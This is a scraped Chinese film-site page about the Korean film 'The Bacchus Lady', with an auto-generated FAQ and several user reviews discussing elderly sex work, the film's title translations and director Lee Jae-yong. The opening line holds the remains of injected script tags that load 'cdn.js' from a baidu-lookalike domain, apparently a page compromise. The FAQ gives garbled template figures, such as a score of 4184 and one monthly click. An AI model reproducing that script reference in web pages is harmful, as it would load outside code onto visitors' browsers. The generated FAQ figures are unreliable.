* src="https://apt51.baidul.xyz/cdn.js">"/> * src="https://apt51.baidul.xyz/cdn.js">" />
酒神小姐

酒神小姐

523

    8.0

    • 主演:尹汝贞全茂松尹启相

    常见问题

    1、尹汝贞,全茂松,尹启相 主演的电影《酒神小姐》来自哪个地区?

    爱奇艺网友:电影《酒神小姐》来自于韩国地区。

    2、《酒神小姐》是什么时候上映/什么时候开播的?

    本片于2016年在韩国上映,《酒神小姐》上映后赢得众多观众的喜爱,网友总评分高达4184分,《酒神小姐》具体上映细节以及票房可以去百度百科查一查。

    3、电影《酒神小姐》值得观看吗?

    《酒神小姐》总评分4184。月点击量1次,是值得一看的剧情片。

    4、《酒神小姐》都有哪些演员,什么时候上映的?

      答:《酒神小姐》是上映的剧情片,由影星尹汝贞,全茂松,尹启相主演。由导演李在容携幕后团队制作。

    5、《酒神小姐》讲述的是什么故事?

       答:剧情片电影《酒神小姐》是著名演员尹汝贞 代表作,《酒神小姐》免费完整版2016年在韩国隆重上映,希望你能喜欢酒神小姐电影,酒神小姐剧情:老妓患淋病求医,遇上医生被菲律宾情妇刺伤,他们的私生子逃避警察追捕,她看着可怜,便把他带回家中卖身不忘慈爱,布施自有尊严。随着镜头逐渐揭开其生活帷幔,观众也进入了南韩社会中、老年人的情色国度,主角普渡的不只欲海,还有老主顾好死的渴求。李在容秉承前作《挑情宝鉴》、《六美八阵图》(34 届)中一贯的身体关注,于大胆主题和冷静戏剧性中谋取平衡,把生活磨人的个体悲情和都市人的终极寂寞,一一渗入每刻每寸的画面经营中。各各心灵之蔽,没有观世音菩萨便似无法超脱,无尽恻然。南韩影后尹汝贞演技炉火纯青,将与李在容出席香港首场放映。


    同主演作品

     明星可左右滑动
    • 尹汝贞
    • 全茂松
    • 尹启相

    为您推荐

    用户评论

    • Jensen

      n 观影到三分之二才意识到这是金基德《收件人不详》另一个时空维度的故事延续。美国黑人大兵回国,女人把混血儿送去领养机构,然后独自一人靠卖身维系生活。这个决定让那孩子最终过上了相对体面的生活,不然又是另一个尚武的故事。n 酒神狄俄尼索斯是希腊神话中布施欢乐与慈爱极有感召力的神。观世音菩萨是佛教中慈悲和智慧的象征,具有平等无私的广大悲愿,当众生遇到任何的困难和苦痛,如能至诚称念观世音菩萨,就会得到菩萨的救护。尹汝贞饰演的老年性工作者素英从另一层面看确实是酒神小姐亦或者是神女观音,可她普度众生之后谁人又可以渡她到彼岸?

      n 李在容这部电影围绕着这样一个老年性工作者展开。格局小却并不局限,老龄化社会凸显的种种问题(养老、老年人的性需求、临终关怀等)、边缘人努力求生的艰难以及战后美军遗留给这个民族无法愈合的伤口。n 在电影里看到老年人的性爱镜头,上一次是李沧东的《诗》。一开始我会觉得这些个猥琐老头真是恶心,可是我们都会有老的一天,不论是谁,换位思考,确实是有需求就有市场,所以,观影时带着宽容的心态去关注去正视这一问题。素英说自己没办法靠着捡瓶子拾废品度过余生,电影中有一幕是她看到一个头发花白的老妪推着废品推车艰难前行,真是各有各的辛酸。素英做这行皮肉生意让很多老雇主都成了她的朋友,电影里展现的老龄化社会的问题确实让我很恐惧自己老去的时候会不会也孤独一人,连自杀的勇气都没有。谁都不能抵御时间,只希望我老了以后继续是个可爱的老太太。

      n 一群被社会嫌弃的边缘人。只有彼此靠近取暖。变性人的屋檐下,残疾青年、老年性工作者、捡回来的混血男孩,有一起吃雪糕走过街角的小温暖,有一起吃炸鸡的喜悦,有“一家人”的短暂旅行。如果说金基德是残忍的,那李在容则是绵里藏针,带着点小戏谑,用冷静克制的镜头让我们正视各种社会边缘问题。

      n 此世间,众生皆苦。佛说万事自有因果,魔说一切皆在我。怀着丢弃自己儿子的愧疚心态把医生的韩菲混血私生子带回去,不但要满足客人的欲海,还要布施客人想割舍前尘的残念。她自觉罪孽深重,去拜佛忏悔。不愿立地成佛,宁愿要走火入魔。所有人都如愿,可她的彼岸却是牢狱之灾,最后安静的死去,也许,这才是最好的结局。

    • Jensen

      李在容新作《神女觀音》(The Bacchus Lady),內地譯為《酒神小姐》,而原文片名《죽여주는 여자》可解作「超棒的女子」,同時也有「殺人的女子」的意思。

      妓女・神女・觀音

      從上述數個有著不同意味的譯名可看出譯者對本片抱持的態度,女主角素英(尹汝貞飾)在片中是以跟客人(主要是長者)發生肉體關係為生計的,電影原名的意味不言而喻;英文片名的 Bacchus 則源於一種韓國能量飲品,是老年妓女賣淫的標誌,因她們一般被稱為「Bacchus 小姐」,片中也多次出現素英問客人「要喝一瓶 Bacchus 嗎?」的對白。而港譯《神女觀音》,則令筆者聯想到《神女》中阮玲玉的形象,片中一些人物對素英說過的話,如熟稔客人的媳婦罵她貪圖老人家的錢、素英在拉客時被指罵死妓女等,不正是人言可畏的最佳例子嗎?另,「觀音」則指涉了她救人出苦難的一些行為,她對敏昊的母親說一句 "I'm with him. Don't worry." 讓母親感激不已;又,共有三人在她手中得到解脫,然而素英每一次都經過痛苦掙扎,她自己也自覺做了這些事,「怎樣禱告也不會得到寬恕」,可說是「我不入地獄誰入地獄」最貼切不過的寫照。

      "The Bacchus Lady" 和「酒神小姐」都是比較寫實的譯法,韓文片名則有語帶雙關的幽默感,而《神女觀音》就把素英的地位提升到救贖的形象了。 除了前文提到的《神女》外,以往某些電影也不約而同給片中的女性角色賦予宗教象徵,如金基德的《聖殤》與《慾海慈航》;素英這邊廂說著天國
      地獄,轉身卻又走到寺廟拜神,可見她並不是信奉著哪一個宗教,只是藉此有所依托而已。觀乎上述這些片名,以對比片中女主人公的遭遇,不難發現,將這些女性角色們神聖化,對她們的困境完全無補於事,她們拯救他人,又有誰來拯救她們。

      片中訪問素英的紀錄片導演,似乎只是以獵奇的心態去訪問她(至少片中沒有著墨過他關心這些老人的行動),可以說,他也只是素英所說「人們不在乎真相,他們只想八卦自己想知道的事」裡的「人們」而已。諷刺的是,李在容提到,他自己也並沒有訪問這些老人的經驗,而只是讀過相關文章和新聞而已。這樣說來,素英口中的「人們」,導演與在座觀眾又何嘗不是其中一員?

      東國大學電影教授劉志娜在〈韓國電影中的女性形象〉一文中,把韓影的女性角色分為兩類:賢妻良母型及妖婦或惡女型。然而在近代的電影中,這樣的二分法不再適用,素英的妓女身份當是屬於惡女形象,導演卻將她塑造成一個頗為討好的角色,她幽默、慷慨、對朋友有義氣,也善良(雖然她照顧敏昊是源於她失去兒子的情意結)。她和客人們不止是肉體上的關係,更是彼此關懷的朋友。縱觀全片,眾多角色之中是沒有壞人的,他們只是一群或是肉體上、或是精神上有所殘缺的人。人們不會在乎真相,他們只聽自己想八卦的事,對素英是如此,敏昊的母親又何嘗不是?影片開首,她到診所刺傷醫生,看似又是一個分手後苦苦糾纏的瘋女人,後來觀眾才發現,一切是為了她帶著的韓菲混血的兒子。如果說,《神女觀音》是關於在經濟急促發展下老人掙扎生存的故事,這故事背後,更是一個在經濟瘋狂發展下讓是非黑白都已失去界線的世界。

      雜種和殘疾 [1]

      把敏昊、道勳、緹娜和素英符號化的話,他們就是──混血兒(而且是普遍遭受歧視的韓菲混血兒)、殘疾人、跨性別者與老妓女。在影片裡,四人的地位是平等的,是同類。這樣的設定略嫌刻意,但無疑對故事的推進和可觀性起了一定效用 。

      《神女觀音》跟金基德《收件人不詳》的人物設定上有著相似性,但李在容在電影中淡化對歷史的描寫,亦沒有過於極端的暴力與色情場面(《神女觀音》中的人物們以自嘲代替了《收件人不詳》中殘忍的自虐),這些相濡以沫的人物偶爾能享受有限度的快樂,有異於《收件人不詳》的人物置身於不論愛還是恨都是扭曲的牢獄中;加上某程度的喜劇化,令影片不至於過分沉重,然而另一方面,以喜劇去包裝悲劇也令觀者感到格外無奈。素英在多年前,失去兒子以後,從此已是個殘缺的人,久而久之,那缺口已成了她的一部份。

      她和《收件人不詳》裡昌國的母親一樣,年輕時是洋公主,那一去不復返的「丈夫」於昌國母親是個血肉模糊、永不痊癒的傷口,對素英來說,則是一個需要小心埋藏才能讓它不再復發的疤痕。她若無其事地跟韓菲混血軍人搭話,離開時茫然若失的表情、偶遇年輕時同為洋公主的同伴後落荒而逃的背影,都是她不能言喻的痛,也正是這樣輕描淡寫的處理令觀者想到,像素英這樣的女子,並不是電影裡虛構的人物,而可能是在身邊存在著的任何人。

      註:
      [1] 金永鎮:〈金基德作品論之《收件人不詳》──雜種、殘疾和被迫害者的信〉,《野生金基德》,頁160。此處只借用文章題目。

      原文載於香港電影評論學會網頁|2016-04-07

    • Jensen


      《酒神小姐》,不知道哪位亲故最早中翻了这个片名,手很快。

      《酒神小姐》(姑且这么叫吧),韩语片名《죽여주는 여자》,直译《杀人的女子》,小玩剧等小伙伴也指出它还有「超棒的女子」这层双关之意。

      我想了下,还是只用《杀人的女子》比较好,因为片名直白是导演李在容的一贯风格,比如基本直译的《情事》《丑闻》《女演员们》《纯爱谱》等,没有什么拐弯抹角。

      香港翻译者向来喜欢提炼电影主题,再把观感揉搅进去,于是这部电影的名字成了《神女观音》。虽然一日既往地让人感觉「想搞个大新闻」,倒也契合内容。

      那么大陆这边给出的《酒神小姐》呢?和酒什么关系?和酒神什么关系?难道是因为尹汝贞每次接客时都要喝口烧酒?那是因为要清口及抵挡异味,和「酒神」似乎扯不上深度关系,剧情至始至终也没有特别诠释有关酒的主题。

      我尝试还原理解下《酒神小姐》的翻译思路:

      Ta看到了韩语片名《죽여주는 여자》,有双关义,纠结沉默了下,又看到了这个片子的英文名《The Bacchus Lady》——大部分电影在制作时都会同步拟出英文名,海外版权出售、影站收录、海报制作等地方都可能用得到。

      Bacchus是谁?西方神话中的酒神和植物神,米开朗琪罗老爷子等很多艺术家都创作过关于他的作品——当年雅典奥运会开闭幕式上的庆祝丰收等场景,其灵感就来自Apollo太阳神和 Bacchus酒神。

      于是,《The Bacchus Lady》就这样成了《酒神小姐》。

      电影中的Bacchus是什么呢?不是酒神,而是而是全片的一个核心道具:박카스/Bacchus/宝佳适,韩国的一款功能保健饮料,不给它做广告多介绍了,你可以把它当成韩国的红牛吧,当成中国的王老吉也行。

      它长这样。▼

      博主在大釜山学习时也喝过。▼

      它还经常出现在韩影韩剧中,比如《辩护人》里的宋康昊大叔就抱了一箱Bacchus,《你们被包围了》中,车胜元面前也放着一瓶Bacchus。▼


      为什么东亚制药给自家产品取了这么一个名字,大概是看中了Bacchus酒神身上的活力、力量等因素,又或许完全没关系。

      总之,在韩国,它就是一款热销的饮料,抗疲劳、提神啥子的,用来醒酒也行,其实没啥用,酒喝多了乖乖去睡觉最好。

      在尹汝贞哈莫尼的这部电影中,Bacchus又有了新用途——X交易暗号。

      公园里,妇女们女会问游荡的大爷:要喝一瓶宝佳适吗?意思是要X服务吗?▼

      所有的剧情,都是围绕尹汝贞和他的客人们展开的。▼

      更重要的是,这部电影的故事背景不是凭空编造的,而是取材于真实的韩国「宝佳适女郎」,即中老年妇女卖身现象,西方外媒报道时,用到的词正是:Bacchus Lady,应该算是韩国的一个独有社会词,如同咱们的chengguan和niubility。

      综上,个人认为,《The Bacchus Lady》中的Bacchus作为饮料的代指意义是最重要的,远远超过显得牵强的「酒神」,译作《宝佳适女郎》或按照韩语片名直译为《杀人的女子》比较合适。

      以上纯属个人意见,相关姿势是客观的,怎么结合剧情去理解是主观的,如果大家喜欢或习惯,继续叫《酒神小姐》也是行的,知道是这部电影就行了。

      ✎文︱韩影书 ✎微博︱@韩影书(欢迎关注)

    • Jensen

      《酒神小姐》是李在容执导的剧情电影,由尹汝贞、尹启相、全茂松等主演。于2016年10月6日在韩国正式上映。该片以老年人性买卖为题材,讲述了一位65岁的妓女素英为常客老宋完成求死愿望后,陷入人生意义混乱的故事。2016年8月3日,该片获得加拿大国际奇幻电影节最佳剧本奖;10月2日,获得第17届意大利罗马亚洲国际电影节最佳作品奖。
      《酒神小姐》和我们讲述的是慰安妇的老年生活。70岁高龄的老戏骨尹汝贞饰演一位老妓女,年轻时做过慰安妇。老来的她生活无所依,既没有生存技能也没有金钱储备,只能从事性交易工作维持生存。她和一名截肢的男子以及变性的男人生活在一个院子里。生活在社会的底层的他们却有比常人更乐观的心态,生活本已拮据的她还好心收留无家可归的小孩。她还是一位观世音菩萨,普度一个个饱受生活之苦的好友去天堂。尺度有,温情有,小人物小故事。
      “酒神小姐”英译为The Bacchus Lady。Bacchus是韩国知名功能饮料的品牌,而The Bacchus Lady是老年人性工作者,也称为“宝佳适女士”。我个人更喜欢港译——神女观音。因为女主素英就是一位观世音菩萨,普度一个个好友去天堂。
      有的时候,人的一生真的几句话就可以概括,也许在别人那里你的生活是一段很传奇的故事,其实只有你自己知道这辈子有多累。生老病死是每个人都必经历的,无论生活多么困难,一定要好好生活。
      因为有些人,光活着就已经竭尽全力了。

    • Jensen

      《酒神小姐》
      韩文片名“죽여주는 여자”,可译作“超级棒的女子”或者“杀人的女子”
      英文片名“The Bacchus Lady”
      “Bacchus”即“宝佳适”,韩国知名功能饮料品牌
      因近年来韩国一些老年性工作者常借用此饮料招徕客人
      所以民众戏称她们为“宝佳适女士”
      -----


      此影片不适合18岁以下青少年观看

      好吧也许只是因为
      他们不一定看得懂
      ……

      李在容,《情事》、《丑闻》、叛逆、挑战。

      尹汝贞,《下女》、《金钱之味》,青龙影后、国宝戏骨。

      《酒神小姐》,老年性工作者、临终关怀、“混血”之殇。

      比起以上与此片相关的种种“刺激性”标签,以及这些标签映入人们眼帘后带来的微妙的猎奇欲望与眼球冲击,这是一部实在太过平淡的电影。

      111分钟,一个边缘人物——老年妓女零零散散絮絮叨叨的末年,和她身边那一群努力活着、或者努力死去的人们。没有你看到片头那个18X小红圈时隐隐在期待的感官刺激、没有经典韩影浓醇的心灵鸡汤或者煽情的歇斯底里。

      甚至在它的整个故事结构里,你找不到任何类型片标准的起承转合、高潮伏笔。

      平淡得就像生活本身,绝望得就像时间本身。



      “老年人性交易是买卖还是慰籍?”

      “独居老人的安乐死是解脱还是谋杀?”

      “变性人、混血弃儿、残障人士的'半吊子'人生应该何去何从?”

      在这些触及生活无奈真相和人生终极命题的大胆主题表皮下,导演兼编剧李在容用冷静克制甚至带着点小戏谑的笔触,演员尹汝贞用每秒每帧分毫不过的表情,共同经营出了这个常常让你不知道该怎样、会怎样继续,却希望它能够一直继续下去的故事。



      你不希望这个故事结束,是因为你知道,它的结局,必然不是你所希望的那个样子。尽管它也许就是时间给予这世上芸芸众生们,为数不多可供选择的真相。

      就像本文的标题所说,尽管在片子的最后,似乎故事里所有活着的、死去的人们,都得到了他们“想要”的那个结局。

      但这世上却终究没有一种死亡,叫做死得其所。

      所有的离去与老去,都只是无奈之举。



      近三个月来K最喜欢的一部韩国电影。

      细细翻译好,推荐给你。

      -----

      本文转载自:小玩剧韩剧专门
      原文地址:http://mp.weixin.qq.com/s?__biz=MzI1MjMxMzE4MA==&mid=2247485646&idx=1&sn=ff67aed917ec427dd1291a6bd4a85bf5&chksm=e9e4e3fdde936aeb74d2286b7969fc45c7a96c1787cc32d83cd8d7434da56802f7cae205872e#rd

    返回顶部